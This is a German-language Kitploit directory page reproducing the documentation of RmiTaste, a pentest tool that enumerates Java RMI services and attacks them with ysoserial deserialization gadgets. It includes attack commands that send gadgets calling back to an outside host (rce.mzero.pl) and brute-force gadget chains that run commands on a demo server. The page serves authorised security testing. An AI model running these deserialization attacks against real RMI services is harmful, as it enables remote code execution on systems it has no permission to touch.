Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/stmcyber/rmitaste
SchwachstellenanalyseExploitationPenetrationstests
GitHubstmcyber/rmitaste

RmiTaste

Java RMI-Sicherheitstestwerkzeug zum Erkennen, Auflisten und Ausnutzen unsicherer RMI-Dienste unter Verwendung von ysoserial-Deserialisierungs-Gadgets, um Remote-Code-Ausführung zu erreichen.

Repository anzeigenWebseite
1092011vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

License

RmiTaste

RmiTaste ermöglicht es Sicherheitsexperten, RMI-Dienste zu erkennen, aufzulisten, zu interagieren und anzugreifen, indem entfernte Methoden mit Gadgets von ysoserial aufgerufen werden. Es ermöglicht auch, entfernte Methoden mit spezifischen Parametern aufzurufen.

Haftungsausschluss

RmiTaste wurde entwickelt, um Sicherheitsexperten bei der Identifizierung unsicherer RMI-Dienste auf Systemen zu unterstützen, für die der Benutzer zuvor die Erlaubnis zum Angriff erhalten hat. Der unbefugte Zugriff auf Computersysteme ist illegal und RmiTaste muss in Übereinstimmung mit allen geltenden Gesetzen verwendet werden. Die Nichteinhaltung kann zu einer Strafverfolgung führen. Die Entwickler von RmiTaste übernehmen keine Haftung und sind nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Programm verursacht werden.

Erstellung und Ausführung

Erfordert openjdk 11.0.3.

  1. Laden Sie ysoserial-master-SNAPSHOT.jar herunter und speichern Sie es im Verzeichnis libs_attack (https://github.com/frohoff/ysoserial).
  2. Erstellen Sie das Projekt mit Maven:
    root@kitploit:~
    mvn package
    
  3. Führen Sie den Befehl aus:
    root@kitploit:~
    java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
    
    
     __________        ._____________                __
     \______   \ _____ |__\__    ___/____    _______/  |_  ____
     |       _//     \|  | |    |  \__  \  /  ___/\   __\/ __ \
     |    |   \  Y Y  \  | |    |   / __ \_\___ \  |  | \  ___/
     |____|_  /__|_|  /__| |____|  (____  /____  > |__|  \___  >
           \/      \/                  \/     \/            \/
     @author Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
    
    Warning: RmiTaste was written to aid security professionals in identifying the
             insecure use of RMI services on systems which the user has prior
             permission to attack. RmiTaste must be used in accordance with all
             relevant laws. Failure to do so could lead to your prosecution.
             The developers assume no liability and are not responsible for any
             misuse or damage caused by this program.
    
    

Verwendung

RmiTaste hat 4 Modi: conn, enum, attack und call. Jeder Modus hat eine separate Hilfe.

root@kitploit:~
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
Usage: <main class> [-h] [COMMAND]
  -h, --help   diese Hilfemeldung anzeigen
Commands:
  conn    Verbindung zu Host prüfen
  enum    RMI-Dienst enumerieren
  attack  Methoden des RMI-Registrierungsdienstes angreifen
  call    spezifische Methode auf entferntem RMI-Objekt aufrufen

conn-Modus

Der conn-Modus ermöglicht es zu prüfen, ob ein Port ein RMI-Dienstport ist.

root@kitploit:~
# Prüfen, ob 127.0.0.1:1099 ein RMI-Dienst ist
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099

enum-Modus

Der enum-Modus ermöglicht es, Informationen über den RMI-Dienst abzurufen, wie z. B.: Namen der entfernten Objekte und Klassennamen, die das entfernte Objekt implementiert oder erweitert. Wenn die vom entfernten Objekt implementierte Schnittstelle im RmiTaste-Klassenpfad verfügbar ist, dann gibt RmiTaste alle entfernten Methoden aus, die Sie auf diesem entfernten Objekt aufrufen können.

root@kitploit:~
# RMI-Dienst Enumeration
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099

attack-Modus

Der attack-Modus ermöglicht es, eine entfernte Methode mit einer bestimmten Gadget-Kette von ysoserial aufzurufen. Angenommen, das entfernte Objekt hat die folgenden Methoden:

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# Alle entfernten Methoden mit URLDNS-Gadget als Parameter aufrufen
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
root@kitploit:~
# Die Methode acc1:m0.rmitaste.example.server.ClientAccount:deposit mit URLDNS-Gadget als Parameter aufrufen
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"

Die Option "-gen bruteforce" ermöglicht es, entfernte Methoden mit Gadgets von ysoserial zu brute-forcen. In diesem Beispiel wird die Methode deposit mehrmals mit Gadgets von ysoserial aufgerufen.

root@kitploit:~
# Die Methode acc1:m0.rmitaste.example.server.ClientAccount:deposit mit Gadgets von ysoserial und dem Befehl ping 127.0.0.1 aufrufen
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"

call-Modus

Der call-Modus ermöglicht es, eine bestimmte Methode auf einem entfernten RMI-Objekt aufzurufen. Angenommen, das entfernte Objekt hat die folgenden Methoden:

root@kitploit:~
acc1 [object] [127.0.1.1:38293] 
         implements java.rmi.Remote [interface]
         extends java.lang.reflect.Proxy [class]
         implements m0.rmitaste.example.server.ClientAccount [interface]
                setPin(java.lang.String param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                getBalance(); [method]
                deposit(java.lang.Object param0); [method]
                        Parameters: param0;  may be vulnerable to Java Deserialization! [info]
                withdraw(float param0); [method]
root@kitploit:~
# Die Methode m0.rmitaste.example.server.ClientAccount.getBalance auf dem entfernten Objekt acc1 aufrufen
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
root@kitploit:~
# Die Methode m0.rmitaste.example.server.ClientAccount.setPin("1234") auf dem entfernten Objekt acc1 aufrufen
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"

Beispiele

Ein Demoserver ist hier verfügbar.

  1. Demoserver starten.

  2. Ziel enumerieren.

root@kitploit:~
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	No methods found. I don't have remote object interface. Give it to me!

Wie Sie sehen, benötigt RmiTaste die Schnittstelle des entfernten Objekts. Während Pentests müssen Sie diese Schnittstelle finden. Kopieren Sie in diesem Beispiel einfach rmitaste.examples-1.0-SNAPSHOT-all.jar in das Verzeichnis libs_attack. Ziel erneut enumerieren:

root@kitploit:~
acc1 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

acc2 [object] [127.0.1.1:42881] 
   extends java.rmi.server.RemoteObjectInvocationHandler [class]
   implements java.rmi.Remote [interface]
   extends java.lang.reflect.Proxy [class]
   extends java.rmi.server.RemoteObject [class]
   implements m0.rmitaste.example.server.ClientAccount [interface]
  	setPin(java.lang.String param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	getBalance(); [method]
  	deposit(java.lang.Object param0); [method]
  		Parameters: param0;  may be vulnerable to Java Deserialization! [info]
  	withdraw(float param0); [method]

Autor

Twitter: @_mzer0

Inspiriert von: BaRMIe und @h0ng10 Artikel

Tool herunterladen